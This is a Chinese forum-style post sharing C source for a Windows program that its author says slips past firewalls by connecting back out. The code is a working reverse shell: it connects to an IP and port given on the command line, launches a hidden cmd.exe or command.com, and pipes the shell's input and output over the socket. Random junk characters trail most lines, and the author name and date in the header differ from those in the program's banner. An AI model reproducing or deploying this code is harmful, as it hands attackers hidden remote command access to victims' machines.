这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 bG&vCH;}%
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/* ============================== A>Y!d9]ti
Rebound port in Windows NT 0?/vcsO
By wind,2006/7 dePI&z:
===============================*/ LvbS")
#include -5.~POO
#include wpS $-
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#pragma comment(lib,"wsock32.lib") Ua\<oD79]
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void OutputShell(); 0OF ]|hH
SOCKET sClient; nA 5-P}
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LAcK%
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void main(int argc,char **argv) x^u[L$
{ IKVS7m
WSADATA stWsaData; h6uv7n~4
int nRet; (8d"G9R(
SOCKADDR_IN stSaiClient,stSaiServer; J]mq|vE
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if(argc != 3) $]I",ef
{ e(~Y!:Q#O
printf("Useage:\n\rRebound DestIP DestPort\n"); /Zm5fw9
return; YdiXj |k+
} +E8}5pDt
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WSAStartup(MAKEWORD(2,2),&stWsaData); hJasnY7
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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stSaiClient.sin_family = AF_INET; W
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stSaiClient.sin_port = htons(0); ]CZ&JL
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .BqSE
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 97~*Z|#<+
{ L7 f'
printf("Bind Socket Failed!\n"); WTZr{)e
return; m(c5g[6nO
} ~n$e
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stSaiServer.sin_family = AF_INET; "i3Q)$"S
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +ziQ]r2g
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .f~x*@
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) '.&z y#
{ .-W_m7&}
printf("Connect Error!"); {Kh u'c
return; i][af
} ? W`?F
OutputShell(); q9`!T4,
} q,H
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void OutputShell() P0N%77p>"
{ zZ\2fKrpg
char szBuff[1024]; A! j4;=}
SECURITY_ATTRIBUTES stSecurityAttributes; <u9U%Vsi
OSVERSIONINFO stOsversionInfo; %}%vey
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; d,0Yi
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STARTUPINFO stStartupInfo; r\sQ8/
char *szShell; k2S6 SB
PROCESS_INFORMATION stProcessInformation; MX.=k>
unsigned long lBytesRead; !Qd4Y=
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ZZXQCP6]
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )^o7%KX
stSecurityAttributes.lpSecurityDescriptor = 0; QX$i
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stSecurityAttributes.bInheritHandle = TRUE; ]/y&5X
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); xo46L\
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nS}XY
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); MxXu&.|_
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,:!dqonn
stStartupInfo.wShowWindow = SW_HIDE; ]c \gUU
stStartupInfo.hStdInput = hReadPipe; utz!ElzA
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; TLk=HGw
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GetVersionEx(&stOsversionInfo); !Xbr7:UPN1
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switch(stOsversionInfo.dwPlatformId) k^IC"pUc
{ Jm+hDZrW
case 1: ,&\uuD&.@
szShell = "command.com"; 6jRUkI-!
break; 1x^(vn#=
default: -$]Tn#`Fb
szShell = "cmd.exe"; ?r,lgaw
break; u}7#3JfLn
} ttwfWfX
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); uW8LG\Z>D5
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send(sClient,szMsg,77,0); coxMsDs
while(1) #.(6.Li
{ fdD?"z
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); U0+Hk+
if(lBytesRead) C>qKKLZ
{ +##b}?S%
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); T`;>Kq:s
send(sClient,szBuff,lBytesRead,0); Asn7;x0;
} ov=[g l
else XM$HHk}L;
{ B?nQUIb:
lBytesRead=recv(sClient,szBuff,1024,0); McgTTM;E
if(lBytesRead<=0) break; P8Bv3
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); t]~Lo3
} [=Y @Ul
} /3!KfG
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return; 9=j"kXFf
}